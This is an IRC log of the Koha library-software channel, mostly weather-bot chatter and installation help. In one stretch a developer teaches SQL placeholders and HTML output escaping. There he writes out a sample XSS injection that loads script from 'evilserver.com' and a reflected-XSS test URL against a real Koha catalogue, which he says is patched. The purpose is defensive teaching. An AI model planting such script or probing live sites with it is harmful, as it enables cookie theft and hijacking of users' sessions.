Time  Nick        Message
11:54 |Lupin|     paul_p: right
11:51 paul_p      (and we are BL (BibLibre) or BibLibrarian
11:51 |Lupin|     hi paul_p and thanks
11:51 |Lupin|     quite cryptic ! :)
11:51 paul_p      |Lupin|: LibLimer
11:50 |Lupin|     Ller ?
11:49 hdl_laptop  hi. any Ller around ?
11:31 jwagner     Hi Amit
11:31 Amit        hi jwanger
09:49 davi        thank hdl_laptop   Confirmed
09:46 hdl_laptop  biblioitems
09:46 davi        In what Koha table is the publisher or editorial kept?   It is not in biblio.
09:36 chris       *nod*
09:36 |Lupin|     (if the right measures are't taken, I mean)
09:36 |Lupin|     ah and that would make the opac tainted, definitely
09:34 chris       or an icon to show with their reviews
09:33 chris       (we might one day allow users to upload their own patron images for example)
09:33 |Lupin|     chris: ok
09:32 chris       yep but if one crept into there it would be much worse than the intranet, so having a rule that the opac runs under taint would make it hard for us to accidentally sneak an untainted system call in
09:31 |Lupin|     chris: but in theopac you don't do such things either, do you ?
09:30 chris       *nod*
09:30 |Lupin|     chris: I see. tainted seems to be more for inmut like files, environment variables, etc.
09:30 chris       if we were to do system calls, or writing to files, or things like that, we should definitely run that script with taint
09:29 chris       the dbi placeholders protect the db
09:29 chris       like opening files etc
09:28 chris       partly, also because we dont do anything that taint would protect us from
09:27 |Lupin|     chris: why do you say it wouldn't make sesne for the intranet ? because you make the hypothesis that someone with a password is trustworthy, right ?
09:26 chris       well it wouldnt make sense for the intranet, but we should probably run the opac with taint on
09:25 |Lupin|     chris: is it the result of a design decision, or just that none took the time to do the modification so far ?
09:24 |Lupin|     sounds great and interesting
09:24 chris       nope
09:24 |Lupin|     oh wow
09:24 |Lupin|     chris: do koha scripts run in tainted mode as perlsec suggests ?
09:24 chris       he is going to do an audit on koha for us
09:23 |Lupin|     sounds wise
09:23 |Lupin|     yes ?
09:23 chris       one of the sysadmins at work spent a lot of time doing security work
09:21 |Lupin|     very nice security lesson chris, thanks
09:21 |Lupin|     I see
09:19 chris       'is everything that should be escaped here, escaped?'
09:19 chris       yep, and we should check our existing ones it never hurts to check when you are editing a template
09:14 |Lupin|     you mean when creating new templates ?
09:14 chris       certainly do that for the search string, cos we output that without checking it
09:13 |Lupin|     ah ok I see
09:13 chris       so <TMPL_VAR NAME="something" ESCAPE="HTML">
09:13 chris       ESCAPE="HTML"
09:12 chris       if you are using HTML::Template like Koha does
09:12 |Lupin|     ah yes that was this part of what you were saying
09:12 chris       like
09:12 |Lupin|     so do you have a protection against this ?
09:12 chris       you need to escape output
09:12 |Lupin|     ok
09:11 chris       yep i did
09:11 chris       it will stop someone crashing your db and taking control of your server
09:11 |Lupin|     you meant HTML, didn't you ?
09:11 chris       that wont stop someone putting sql in your db
09:11 |Lupin|     no ?
09:11 chris       no
09:11 |Lupin|     and this is avoided by the DBI placeholders you mentionned previously
09:10 |Lupin|     ok
09:10 chris       and no one would notice
09:10 chris       then that would be on every single page in the opac
09:10 chris       if i could get that into the db, say in the libraryname syspreference
09:09 chris       yep
09:09 |Lupin|     like you give someone a link to your webpage, on which there is this link, and that's it.
09:09 chris       now
09:09 |Lupin|     chris: right.
09:09 chris       all i need to do is trick someone into going to that page
09:09 chris       in this case it doesnt need to
09:08 |Lupin|     chris: but the content won't go in the db, will it ?
09:08 chris       i could do <script type="text/javascript" src="http://evilserver.com/someevil.js">
09:08 |Lupin|     chris: ok, I see. So actually not using js may also have advantages sometimes ! :-)
09:07 chris       so that lets me embed any html i want and its output unescaped
09:07 chris       doesnt work without js
09:07 chris       yes, XSS = cross site scripting
09:07 chris       (i have fixed this, so latest version of koha isnt susceptible)
09:06 chris       http://acpl.kohalibrary.com/cgi-bin/koha/opac-search.pl?q=<blink>test<%2Fblink>
09:06 |Lupin|     hm so this kind of attacks assumes the user has JS enabled ?
09:05 chris       eg
09:05 chris       yeah very easy to do
09:05 |Lupin|     chris: for cookies, for example, you have to put some code in the server tha will be sent to the user and then send its cookies to you ?
09:05 chris       and then its output onto a page somewhere
09:05 chris       in your db
09:05 chris       if i can get you to store <script>someting something</script>
09:04 chris       easily
09:04 |Lupin|     difficult for me to see how that can be achieved, concretely
09:03 chris       to steal users cookies etc
09:03 chris       usually, people use injection attacks to create XSS
09:03 |Lupin|     ok
09:03 chris       injection attacks the site
09:03 chris       2 different types of attack, XSS attacks the person using the site
09:03 |Lupin|     ACK
09:02 chris       and never trusting input will protect you
09:02 |Lupin|     k
09:02 chris       that will protect your users
09:02 |Lupin|     chris: yep, I understand
09:02 |Lupin|     chris: rright
09:02 chris       (that includes input from a db)
09:01 chris       untouched
09:01 chris       take user input, and then output it
09:01 chris       never never never never ever
09:01 chris       quite different
09:01 |Lupin|     certainly worth reading !!
09:01 |Lupin|     chris: ah, right, the perlsec manpage
09:01 chris       for XSS you need to escape output
09:00 |Lupin|     like XSS, injection...
09:00 |Lupin|     are the known types of attacks listed somewhere ?
09:00 chris       http://perldoc.perl.org/perlsec.html
09:00 |Lupin|     chris: protection from injection attacks: god thing.
09:00 |Lupin|     chris: yep
08:58 chris       using placeholders will protect you from sql injection attacks
08:58 chris       dont trust any input from users :)
08:57 |Lupin|     any pointer about writing secure code in Perl, etc. ?
08:57 |Lupin|     chris: sure, thanks
08:54 chris       DBI placeholders ... if you want to read more :)
08:51 |Lupin|     (in Google, for instance)
08:51 |Lupin|     didn't even know where to look / what to ask for
08:51 |Lupin|     I don't think I would have found it out by myself
08:51 |Lupin|     thanks very much chris
08:51 |Lupin|     great
08:50 chris       yep
08:49 |Lupin|     chris: and that works for select querys the same way I guess ?
08:49 |Lupin|     chris: okay, got it, thanks a lot !
08:48 chris       DBI takes the ? and puts the escaped $user_input in its place
08:47 chris       $sth->execute($user_input);
08:47 chris       my $sth = $dbh->prepare($sql)l; (typo before)
08:47 chris       my $sth = $dbh->prepare($sql)l
08:47 chris       my $sql = "INSERT into table (some_column) VALUES (?) ";
08:46 chris       my $user_input = "Some string";
08:46 chris       eg
08:46 |Lupin|     chris: ok, excuse me. I'll try to nderstand what you have just said.
08:46 chris       and then DBI will escape it for you
08:45 chris       and put the string in the execute call
08:45 chris       yes, and the answer is to use placeholders in your query
08:45 |Lupin|     chris: I'm looking for a function to use on a user-submitted string, before it is used for a search in an sql query
08:44 |Lupin|     chris: hmm, not sure I understand...
08:44 |Lupin|     kf: ja, viel mal danke !
08:43 chris       DBI will escape the input
08:42 kf          Lupin: gut, ich hoffe dir auch
08:42 chris       $sth->execute($variable1,$variable2);
08:42 chris       my $sth = $dbh->prepare($query);
08:42 chris       my $query = "INSERT INTO issues (borrowernumber,something) VALUES (?,?)";
08:41 chris       use place holders
08:41 chris       yep
08:41 |Lupin|     so biasically removing the special characters...
08:41 |Lupin|     I'd like o know whether Perl has somewhere a function that would cleanup user input so that it can be inserted safely in SQL requests
08:40 |Lupin|     is there any Perl programmer around please ?
08:40 |Lupin|     hi Amit :)
08:40 |Lupin|     hallo kf wie geht es heute ?
08:39 Amit        hi lupin
08:37 kf          guten morgen lupin!
08:36 |Lupin|     hello everybody !
08:32 Amit        ok
08:32 chris       mason used to work for a library near there amit
08:26 Amit        http://www.doc.govt.nz/parks-and-recreation/national-parks/egmont/
08:23 Amit        chris; nice, beautiful
08:23 Amit        yes this will open
08:23 chris       (they both work for me)
08:23 chris       try http://www.makenewzealandhome.com/makenewzealand/mnzhuserfiles/image/Mt%20Taranaki.jpg
08:21 Amit        chris: Error The page cannot be found
08:20 chris       http://www.makenewzealandhome.com/makenewzealand/mnzhuserfiles/image/Mt Taranaki.jpg
08:19 Amit        i have seen this on email
08:18 chris       that must be old information :)
08:17 chris       its actually called Mt. Taranaki
08:17 Amit
08:17 Amit        Mt. Egmont volcano last erupted in 1755 and is now situated at the centre of Egmont national park. park regulations have ensured the survival of a forest which extends at a 9.5 km radius from the summit of the volcano, the result of which can be seen from space in the form of huge dark green disc. this photo was taken during the sts-110 mission, april 2002.
08:16 chris       near new plymouth, around mount taranaki .. west coast of the north island
08:14 nahuel      :)
08:13 nahuel      !
08:13 nahuel      hi chris
08:12 Amit        chris: where is Egmont National Park in NZ
08:11 munin       indradg: The current temperature in Kolkata, India is 30.0°C (12:20 PM IST on July 17, 2009). Conditions: Mostly Cloudy. Humidity: 79%. Dew Point: 26.0°C. Pressure: 29.42 in 996 hPa (Steady).
08:11 indradg     @wunder Kolkata
07:59 chris       yep :)
07:59 paul_p      I was not sure. anyway, he did not introduce himself on koha-dev, so my mail is still relevant ;-)
07:58 munin       Amit: Error: No such location could be found.
07:58 Amit        @wunder Bangalore, ind
07:58 chris       i think gary might have been at kohacon
07:55 paul_p      (couldn't miss this occasion to laugh a little...)
07:54 chris       yes, rainy
07:54 chris       -i
07:54 paul_p      humidity 87% and 10°C. it's winter...
07:54 kf          saw chris doing it
07:54 kf           :)
07:54 munin       kf: The current temperature in Wellington, New Zealand is 10.0°C (7:00 PM NZST on July 17, 2009). Conditions: Scattered Clouds. Humidity: 87%. Dew Point: 8.0°C. Windchill: 8.0°C. Pressure: 29.65 in 1004 hPa (Steady).
07:54 kf          @wunder wellington, nz
07:54 paul_p      NZ is too small... unknow for munin :(
07:53 munin       paul_p: Error: No such location could be found.
07:53 paul_p      @wunder wellington, new-zealand
07:53 munin       paul_p: Error: No such location could be found.
07:53 paul_p      @wunder wellington
07:52 chris       evening
07:40 nahuel      you arrive sweaty
07:40 nahuel      to humid
07:40 paul_p      (it's 10AM here)
07:40 nahuel      kf, it's hard here to come to work, too heat
07:40 paul_p      yep, humidity 78%...
07:39 munin       paul_p: The current temperature in Marseille, France is 24.0°C (9:30 AM CEST on July 17, 2009). Conditions: Scattered Clouds. Humidity: 78%. Dew Point: 20.0°C. Pressure: 29.95 in 1014 hPa (Steady).
07:39 paul_p      @wunder Marseille, France
07:39 paul_p      wow... 35°... and we complaint with our poor 32° here in marseille... (humidity probably higher than 53% in the evening those days I think)
07:37 munin       Amit: The current temperature in New Delhi, India is 35.0°C (12:30 PM IST on July 17, 2009). Conditions: Haze. Humidity: 53%. Dew Point: 24.0°C. Pressure: 29.44 in 997 hPa (Falling).
07:37 Amit        @wunder New Delhi
07:36 munin       Amit: Error: No such location could be found.
07:36 Amit        @wunder Bangalore
07:36 kf          for working on my koha project rain isnt so bad, just coming to work is sometimes a little difficult on these days
07:35 indradg     hi greenmang0
07:35 greenmang0  hi indradg
07:35 nahuel      I think none of both
07:33 kf          cant decide whats better g
07:33 nahuel      here... sun sun sun and sun and heat, heat heat heat heat
07:32 kf          nahuel: rain, rain and rain
07:32 munin       kf: The current temperature in Taegerwilen, Germany is 18.1°C (9:32 AM CEST on July 17, 2009). Conditions: Light Rain Showers. Humidity: 95%. Dew Point: 17.0°C. Pressure: 29.97 in 1014.8 hPa (Steady).
07:32 kf          @wunder Konstanz
07:29 nahuel      hi Amit
07:29 Amit        hi nahuel
07:27 nahuel      hi kf, what's up in germany ?
07:26 kf          hi nahuel
07:25 nahuel      hi all
07:05 Amit        hi kf
07:03 kf          good morning #koha :)
06:54 Amit        hi paul_p
06:53 paul_p      hello world
05:40 indradg     morning Amit
05:39 Amit        hi indradg
04:37 thd         hello Amit
04:37 Amit        hi thd
04:05 Amit        good night ebegin
04:05 ebegin      bedtime... see you tomorow!
04:02 munin       ebegin: The current temperature in Montreal, Quebec is 18.0°C (11:50 PM EDT on July 16, 2009). Conditions: Mostly Cloudy. Humidity: N/A%. Pressure: (Rising).
04:02 ebegin      @wunder montreal, quebec
04:02 munin       Amit: The current temperature in Dehradun, India is 27.0°C (8:30 AM IST on July 17, 2009). Conditions: Haze. Humidity: 89%. Dew Point: 25.0°C. Pressure: 29.47 in 998 hPa.
04:02 Amit        @wunder Dehradun
04:02 ebegin      #wunder montreal, quebec
04:02 Amit        ebegin:I m fine what about u? Sory today i m late
04:02 munin       ebegin: The current temperature in New Delhi, India is 32.0°C (9:00 AM IST on July 17, 2009). Conditions: Haze. Humidity: 66%. Dew Point: 25.0°C. Pressure: 29.50 in 999 hPa (Steady).
04:02 ebegin      @wunder new delhi
04:02 munin       Amit: downloading the Perl source
04:02 Amit        munin: @wunder New Delhi
04:02 ebegin      heya amit!  How are you?
04:01 Amit        hi ebegin
03:58 Amit        good morning #koha
03:58 Amit        hi chris, galen
01:42 pianohacker 'gnight, #koha
01:12 pianohacker /Koha's Oddly Enough/: The TemplateEncoding systempreference is used to define the _input_ encoding for an obsolete MARC Record processing function, and nowhere else
21:44 Snow_Fox    Storage Works?
21:40 joetho      me neither. Sounds ominous
21:22 chris       not me
21:22 Snow_Fox    Data Protector Express
21:21 Snow_Fox    anyone in here play with HP's Data Protection Express backup system?
21:15 atz         the manual has concrete dimensions i think...
21:05 Snow_Fox    thats what i figured
21:05 pianohacker I'd go with chris's answer, then
21:05 Snow_Fox    the Patron Images
21:05 pianohacker Snow_Fox: Depends. What kind of image are you talking about?
21:05 chris       the latter
21:05 Snow_Fox    or is it more webbased where i have to keep a certain size or itll mess with the layout
21:04 Snow_Fox    what would be the max size that koha can support
21:04 Snow_Fox    hey when it comes to images
21:02 chris       right at work now
20:48 wizzyrea    gnite Paul
20:42 richard     cya paul_p
20:36 richard     hi
20:34 wizzyrea    but I know there would be resistance >.<
20:33 pianohacker Hey, I'm with you
20:33 pianohacker Yes. I think it might be good to see how far ARIA and some basic accessibility improvements (including the much-discussed Skip to content link) will take us before we commit to maintaining a separate template set, but it's something to think about
20:32 wizzyrea    (just being the devil's advocate here... I'd just as soon go full throttle AJAX and be done with it)
20:31 wizzyrea    sarcasm aside, the web interface isn't really the best interface for ppl with disabilities. And we could do more with the web interface if we'd alternately accommodate for disability.
20:29 pianohacker see ya
20:28 atz         lol
20:28 pianohacker Wouldn't be much of an obstacle for a cataloger, though
20:28 atz         yeah
20:28 pianohacker atz: Hell, that's difficult enough for a computer
20:28 wizzyrea    yay
20:28 atz         all you have to do is learn 46 numerically coded messages and all their subfields
20:28 wizzyrea    atz, that's not a bad idea
20:28 wizzyrea    actually...
20:27 wizzyrea    all koha problems solved
20:27 wizzyrea    well there you go
20:27 atz         pianohacker: we already have it... it's called SIP
20:27 pianohacker See? We just need to bring back the telnet interface
20:27 owen        I think that was the telnet interface in 1.0 ;)
20:27 atz         let alone the ornate process of H:T:P generation and authentication... autopopulation
20:27 wizzyrea    kind of minimalist
20:26 wizzyrea    I think you could probably sell it as the "super fast koha interface"
20:26 pianohacker Maybe. tbh, I think some library might have to get some legal rumblings before that gets sponsored though
20:26 atz         ppl who just see the web side don't really get how much mechanics there are underneath... how many template files have to get included, javascript files, css files
20:26 wizzyrea    1. for speed and 2. for accommodating people with disabilities
20:25 wizzyrea    but it might be better to have a separate template for that?
20:25 wizzyrea    I can appreciate that people with disabilities will need to be able to use it
20:25 pianohacker My dinky little palm smartphone supports some javascript
20:25 owen        Yeah, atz++
20:25 pianohacker This is 200_9_, for god's sake
20:25 atz         one i totally refuted, for the record
20:24 pianohacker I don't think the additem.pl page works without javascript
20:24 owen        There's already been a complaint about the staff client being "littered" with Ajax calls.
20:24 wizzyrea    anyway
20:24 wizzyrea    "angry..." we'd get a talking at
20:24 wizzyrea    re: ajax happiness
20:24 wizzyrea    :P
20:24 wizzyrea    we'd make slef angry though
20:24 joetho      Never had this with sirsi dynix.
20:23 pianohacker I actually implemented something like that for Circulation and fines rules, but it's been stuck, along with ajaxcirc, in review purgatory for a while
20:23 owen        Yeah, there's all kinds of Ajaxy stuff that'd be cool to do.
20:23 wizzyrea    yessir
20:23 pianohacker Click-to-edit?
20:23 wizzyrea    but harder I'm sure
20:23 joetho      but adding a button here or there to reduce scrolloing
20:23 wizzyrea    it would be even MORE awesome if you could just edit the item there
20:22 joetho      I mean, not you PERSONALLY,
20:22 joetho      This is something we are considering sponsoring
20:22 owen        One thing I didn't mention in the blog post was how to handle making the menu go away completely. Right now my script doesn't handle it
20:21 owen        Although what the hell, once you're clicking it probably doesn't much matter if you take up a little more space
20:20 wizzyrea    true
20:20 pianohacker wizzyrea: That is clearer, but you're working with pretty limited space
20:20 wizzyrea    what you are doing
20:20 wizzyrea    so it's always right there
20:20 wizzyrea    "
20:20 wizzyrea    or "Edit Item / Delete Item
20:19 pianohacker Oh-hoh, that's very nice. Perhaps change the links to "_Edit_ / _Delete_ item"?
20:18 wizzyrea    i see what you mean about the confusion though
20:18 wizzyrea    I approve
20:18 wizzyrea    yea that is sweeeeet
20:17 owen        I talk about it here: http://www.myacpl.org/koha/?p=298
20:17 owen        Click any cell in the table of items to get a little edit/delete menu, useful when you've scrolled all the way to the right
20:17 owen        Here's the example if anyone else is interested: http://www.myacpl.org/koha/examples/additem-2009-07-15.html
20:16 owen        Thanks!
20:15 wizzyrea    that is h a w t
20:15 wizzyrea    love what you did with the items table
20:15 wizzyrea    owen++
20:09 pianohacker Talking in soundbites isn't as hard as you might think
20:08 wizzyrea    hey, being witty is hard work
20:07 owen        I didn't realize I had to be pithy enough for posterity.
20:06 munin       pianohacker: Quote #8: "< wizzyrea> in my experience the transition to koha is much harder for libraries that are already automated" (added by pianohacker at 05:57 PM, June 19, 2009)
20:06 pianohacker @quote random
20:06 pianohacker owen: Adds a quote (a la bash.org) to munin's quote database
20:05 owen        What's @quote do?
20:01 wizzyrea    identification fail!
20:01 wizzyrea    noooooo
20:01 munin       wizzyrea: Error: You must be registered to use this command. If you are already registered, you must either identify (using the identify command) or add a hostmask matching your current hostmask (using the "hostmask add" command).
20:01 wizzyrea    @quote add <dipanjan>something seems to have happened. i will get back when i figure out what :)
20:00 dipanjan    pianohacker: :)
20:00 pianohacker dipanjan: Famous last words, but good luck
19:59 paul_p      it's probably strange for an english speaking guy, I agree
19:59 dipanjan    pianohacker: something seems to have happened. i will get back when i figure out what :)
19:59 pianohacker I guess for some reason I thought you were on GMT time
19:58 pianohacker timezones--
19:58 paul_p      hello owen
19:58 paul_p      (you're mixing with chris ;-) )
19:58 owen        paul_p: Dubbed?
19:58 paul_p      pianohacker: ??? it's not 8, it's 10PM !
19:57 pianohacker Too early
19:57 pianohacker It's only 8:00 in your part of the world, what are you doing here?
19:57 paul_p      hello america in fact ;-)
19:57 paul_p      hi ebegin
19:57 paul_p      hi pianohacker/jesse
19:57 pianohacker Heya, paul
19:57 pianohacker Heh. Installing Koha is my least favorite part of using it by far, and it's _improved_ since 2.2
19:57 wizzyrea    heya paul_p
19:57 ebegin      hi paul!
19:57 paul_p      hello world.
19:56 dipanjan    :)
19:56 wizzyrea    all of the above :)
19:56 pianohacker From who? dipanjan, or me?
19:56 wizzyrea    :)
19:56 dipanjan    pianohacker: i will try. and come back
19:55 pianohacker dipanjan: <shrug> I think this step still wants your original zipped tarball
19:55 dipanjan    pianohacker: the install-CPAN.pl was inside the packege
19:55 wizzyrea    er, why not the unzipped tarball
19:55 dipanjan    pianohacker: but the tarball is untarred
19:55 wizzyrea    (this part flummoxed me several times as well, I finally gave up on it)
19:55 wizzyrea    interesting, why the unzipped tarball?
19:55 pianohacker perl ./install-CPAN.pl ../koha-3.0.3.tar.gz
19:54 pianohacker You would run
19:54 pianohacker So, if your tarball is at ../koha-3.0.3.tar.gz
19:54 pianohacker I think what it's asking for is for you to give the path to your koha tarball
19:53 dipanjan    i am using Fedora 10
19:53 dipanjan       perl ./install-CPAN.pl path/to/koha.tgz
19:53 dipanjan     Run this as the CPAN-owning user (usually root) with:
19:53 dipanjan    pianohacker: it displayed a message:
19:52 pianohacker What error occurred?
19:52 dipanjan    pianohacker: didn't work
19:52 dipanjan    pianohacker: and ./install-CPAn.pl
19:52 dipanjan    pianohacker: keyed in my password
19:52 dipanjan    pianohacker: i did su root
19:51 wizzyrea    (dipanjan: I've had the same problem. never fixed it. installed by hand)
19:51 pianohacker What happened?
19:51 pianohacker dipanjan: So you ran the above command with su or sudo at the front?
19:51 dipanjan    pianohacker: i tried root. it didn't run
19:51 wizzyrea    or sudo
19:51 wizzyrea    so, root
19:51 pianohacker That will almost certainly be root
19:51 pianohacker What that means, is "run this command as a user that has the rights to install CPAN modules"
19:51 pianohacker Ahh, okay
19:51 dipanjan       perl ./install-CPAN.pl path/to/koha.tgz
19:51 dipanjan    pianohacker: when i run the install-CPAN.pl file that came bundled in the koha 3.0.3 tar ball, it says:  Run this as the CPAN-owning user (usually root) with:
19:50 owen        dipanjan: Is your question about who is Release Manager for 3.0.3?
19:49 pianohacker dipanjan: I don't think Koha is distributed as a CPAN module. There's a CPAN bundle, with all of Koha's dependencies, but I don't know if that's being actively maintained
19:48 dipanjan    who is the CPAN owning user for koha 3.0.3?
16:52 pianohacker Hallo
16:47 jdavidb     Howdy, pianohacker!  :)
16:44 pianohacker Hi, snow
16:44 Snow_Fox    heya Piano
16:42 Snow_Fox    RHCL: Look out another storm band is headingyour way, love Kansas
16:42 munin       ebegin: The current temperature in NDG, Montréal, Quebec is 23.5°C (12:41 PM EDT on July 16, 2009). Conditions: Light Rain. Humidity: 62%. Dew Point: 16.0°C. Pressure: 29.62 in 1002.9 hPa (Steady).
16:42 ebegin      @wunder H1X3M1
16:42 munin       ebegin: Error: No such location could be found.
16:42 ebegin      @wunder H0H0H0
16:42 munin       ebegin: Error: No such location could be found.
16:42 ebegin      @wunder H0H 0H0
16:42 moodaepo    : )
16:42 moodaepo    aargh enough playing around
16:41 munin       moodaepo: Error: No such location could be found.
16:41 moodaepo    @wunder North Pole
16:41 munin       moodaepo: The current temperature in Tombur Subdivision, North Pole, Alaska is 9.2°C (8:41 AM AKDT on July 16, 2009). Conditions: Fog. Humidity: 90%. Dew Point: 8.0°C. Windchill: 9.0°C. Pressure: 30.06 in 1017.8 hPa (Rising).  Dense fog advisory in effect until 8 am akdt this morning... 
16:41 moodaepo    @wunder 99705
16:40 ebegin      ;)
16:40 munin       ebegin: Error: No such location could be found.
16:40 ebegin      @wunder where Kate, Jack, Lock, Saywer are...
16:39 munin       ebegin: Error: No such location could be found.
16:39 ebegin      @wunder neverland
16:38 jdavidb     I'll be switched.
16:38 munin       jdavidb: The current temperature in APRSWXNET Gerlach NV US, Gerlach, Nevada is 26.1°C (9:13 AM PDT on July 16, 2009). Conditions: Clear. Humidity: 22%. Dew Point: 3.0°C. Pressure: 29.83 in 1010.0 hPa (Rising).
16:38 jdavidb     @wunder Black Rock City
16:38 munin       moodaepo: Error: No such location could be found.
16:38 moodaepo    @wunder Hell's Kitchen
16:37 moodaepo    hmm I thought it was supposed to be Hell's Kitchen
16:37 munin       moodaepo: The current temperature in Hunter College, Upper East Side, New York, New York is 28.0°C (12:36 PM EDT on July 16, 2009). Conditions: Clear. Humidity: 53%. Dew Point: 18.0°C. Pressure: 29.19 in 988.4 hPa (Falling).
16:37 moodaepo    @wunder 10036
16:36 joetho      ha ha ha ha
16:36 munin       joetho: Error: No such location could be found.
16:36 joetho      @ wunder place where everyone loves me
16:35 munin       joetho: Error: No such location could be found.
16:35 joetho      @wunder my kitchen
16:32 munin       jdavidb: The current temperature in Heritage Parks, 3.7 Mi NE, Abilene, Texas is 35.6°C (11:31 AM CDT on July 16, 2009). Conditions: Clear. Humidity: 37%. Dew Point: 19.0°C. Pressure: 29.98 in 1015.1 hPa (Falling).
16:32 jdavidb     @wunder Abilene, TX
16:32 munin       joetho: The current temperature in Casa Bravo, Chanute, Kansas is 30.4°C (11:32 AM CDT on July 16, 2009). Conditions: Clear. Humidity: 54%. Dew Point: 20.0°C. Pressure: 30.03 in 1016.8 hPa (Rising).
16:32 joetho      @wunder iola kansas
16:31 munin       joetho: The current temperature in N 18th and State (near), Kansas City, Kansas is 27.4°C (11:30 AM CDT on July 16, 2009). Conditions: Partly Cloudy. Humidity: 42%. Dew Point: 13.0°C. Pressure: 30.02 in 1016.5 hPa (Rising).
16:31 joetho      @wunder kansas city kansas
15:26 munin       jdavidb: The current temperature in WRC-Tenlytown, Washington, District of Columbia is 30.0°C (11:26 AM EDT on July 16, 2009). Conditions: Mostly Cloudy. Humidity: 62%. Dew Point: 22.0°C. Pressure: 29.98 in 1015.1 hPa (Steady).
15:26 jdavidb     @wunder bethesda md
15:25 munin       kf: The current temperature in Konstanz, Germany is 28.0°C (5:00 PM CEST on July 16, 2009). Conditions: Scattered Clouds. Humidity: 40%. Dew Point: 17.0°C. Pressure: 30.06 in 1018 hPa (Falling).
15:25 kf          @wunder Konstanz
15:25 munin       ebegin: The current temperature in Montreal, Quebec is 18.0°C (11:00 AM EDT on July 16, 2009). Conditions: Light Rain Showers. Humidity: 83%. Dew Point: 15.0°C. Pressure: 29.75 in 1007 hPa (Falling).
15:25 ebegin      @wunder montreal quebec
15:25 munin       ebegin: The current temperature in Eckington Pl, NE, Washington, District of Columbia is 29.7°C (11:24 AM EDT on July 16, 2009). Conditions: Mostly Cloudy. Humidity: 55%. Dew Point: 20.0°C. Pressure: 29.85 in 1010.7 hPa (Steady).
15:25 ebegin      @wunder washington DC
15:24 gmcharlt    talk to you all later
15:24 gmcharlt    about to hit the road
15:15 jdavidb     Oh, absolutely!  Lots more on Debian than anything else.  Most on Etch, but there's a really good Lenny install guide out now.
15:14 jdavidb     ebegin: for the installs I've been involved with, I'm the idiot to protect against, so an idiot-proof install is important to me.
15:14 ebegin      :)
15:14 ebegin      If it's possible, switch to debian.  A lot of people run Koha on debian, this make the install and support easier.
15:12 ebegin      And I'm also doubt about the level of maintenance of Koha no-zebra... maybe I'm wrong about that though...
15:12 cato        Cool. Thanks for letting me know
15:12 jdavidb     And on Debian, anyway, it's just about an idiot-proof install.  No need to compile from source or any of that rot.
15:10 cato        Thanks for the help
15:10 cato        So does reading :)
15:10 jdavidb     heh.  Spelling counts.  :)
15:09 cato        Oh that makes sense - I was looking at Zerbra - the GNU routing software..
15:07 jdavidb     (For very small collections, works fine...but there is a very harsh scalability limit.)
15:07 jdavidb     You don't strictly *have* to use Zebra, but if you're loading many records at all, it's a very good thing.  Zebra is a really good indexing engine.  If you try to let MySQL do that by loading without Zebra, performance suffers greatly.
15:05 cato        What does Koha use Zebra for? And is it needed?
15:05 jdavidb     Sure thing!  Sorry I'm not more help.  :P
15:04 cato        Okay - thanks for letting me know!
15:03 jdavidb     cato:  I've not done any CentOS work..I rather doubt others have done much, since there's not an install guide already in the kit.  Might be a good way to start one!  :)
15:01 cato        Hello All; I'm trying to get Koha 3.x to run on CentOS - I was wondering if anyone knows of a guide to do this
14:07 vedran      bye
14:07 vedran      :)
14:07 vedran      ebegin: indeed, very helpfu
14:07 ebegin      bbye
14:07 vedran      cya
14:07 ebegin      I'm glad that I was helpful!
14:07 vedran      ebegin: I have to go now. we shall be in touch
14:06 vedran      ebegin: I am colleague of marijana., she is grateful for your help.  I helped her to install KOHA. I installed it on 2 more machines in our school
13:52 marijana    brb
13:50 marijana    :))
13:49 gmcharlt    marijana: indeed, congrats and welcome
13:49 marijana    brb
13:48 marijana    ebegin: thanks :))
13:48 ebegin      Congratulation marijana and welcome to the Koha community!
13:47 marijana    it is installed now
13:40 ebegin      looks like this, yes.
13:39 marijana    ebegin: again problem with space?
13:39 marijana    ebegin: http://pastebin.ca/1497022
13:33 marijana    ebegin: OK, I will remove something now, wait a second
13:32 ebegin      marijana, it seems that you hard drive partition is full...
13:31 ebegin      yep
13:30 marijana    shoul I alwys login as kohaadmin during web install?\
13:30 marijana    mysql
13:30 ebegin      which database are you using?
13:29 marijana    ebegin: http://pastebin.ca/1497011I got this message during web install
13:25 marijana    ebegin: Belgrade, serbia
13:24 ebegin      marijana, where are you?
13:24 marijana    ebegin: it is 3.24PM here
13:24 mahesh      add item giving a blank page with out any data entry fields
13:23 mahesh      i have small problem with koha
13:22 mahesh      hello
13:17 marijana    web installer started, I will complete web istallation now , you deserve a big cold beer :))
13:16 marijana    should I try again web installer
13:15 ebegin      No, just CGI::Session.
13:15 marijana    should I install again CGI:Session::Serialize::yaml ?
13:14 ebegin      Actually, here is the message I just found that may help you http://www.nabble.com/Re%3A-Problem-installing-Koha-3-beta-2-p17307900.html
13:13 ebegin      marijana, I just read that you need to reinstall CGI::Session.
13:09 marijana    http://pastebin.ca/1496996
13:07 ebegin      yes
13:07 marijana    ebegin: I will check again. I sthat regarding force install of CGI::Session...?
13:05 ebegin      looks like you didn't paste the whole log in your last pastebin
13:03 marijana    ebegin: error log files are still empty
13:03 marijana    this is after force installing CGI... http://pastebin.ca/1496991
13:02 ebegin      Are you sure this is the right log?  You can check the log file in your /etc/koha-conf.xml file
13:01 ebegin      anything in your /var/log/koha/koha-error_log file?
13:00 marijana    production mode - trapped fatal error
13:00 marijana    should I do again ZOOM or something else before doing web install
12:58 marijana    ok I will do force install
12:58 ebegin      Ok.  There was problem with some test so it wasn't install, but again, it should be ok to force the install
12:56 marijana    http://pastebin.ca/1496986
12:53 ebegin      any error during the CGI::Session... install?
12:52 marijana    again
12:52 marijana    production mode - trapped fatal error
12:50 ebegin      ok :)
12:50 marijana    ebegin: finishing CGI:... installation
12:50 ebegin      marijana, is it working?
12:48 ebegin      yes
12:48 marijana    ebegin: should I try again to start web installer?
12:48 ebegin      nope
12:48 marijana    shoudl I install again Zoom...?
12:45 marijana    ebegin I will do that now
12:44 ebegin      Here is a thread that may help you
12:43 ebegin      can you try to install CGI::Session::Serialize::yaml
12:41 marijana    ebegin: file is empty 0 bytes
12:40 ebegin      koha-error_log probably
12:40 ebegin      /var/log/koha on the standard install
12:39 marijana    ebegin: where I can find it?
12:39 ebegin      Do you have something in koha's log file?
12:37 marijana    that is what I got after 10.0.2.15:8080
12:36 marijana    production mode - trapped fatal error
12:36 ebegin      nope
12:36 marijana    do I have to do again make install etc.?
12:36 ebegin      looks ok.  Can you access 10.0.2.15:8080 now?
12:35 marijana    please check this now: http://pastebin.ca/1496973
12:28 marijana    ok I will do force install now
12:27 gmcharlt    they have to do with connecting to remote servers during the test suite
12:26 gmcharlt    marijana: based on those messages, I think a force install should be safe
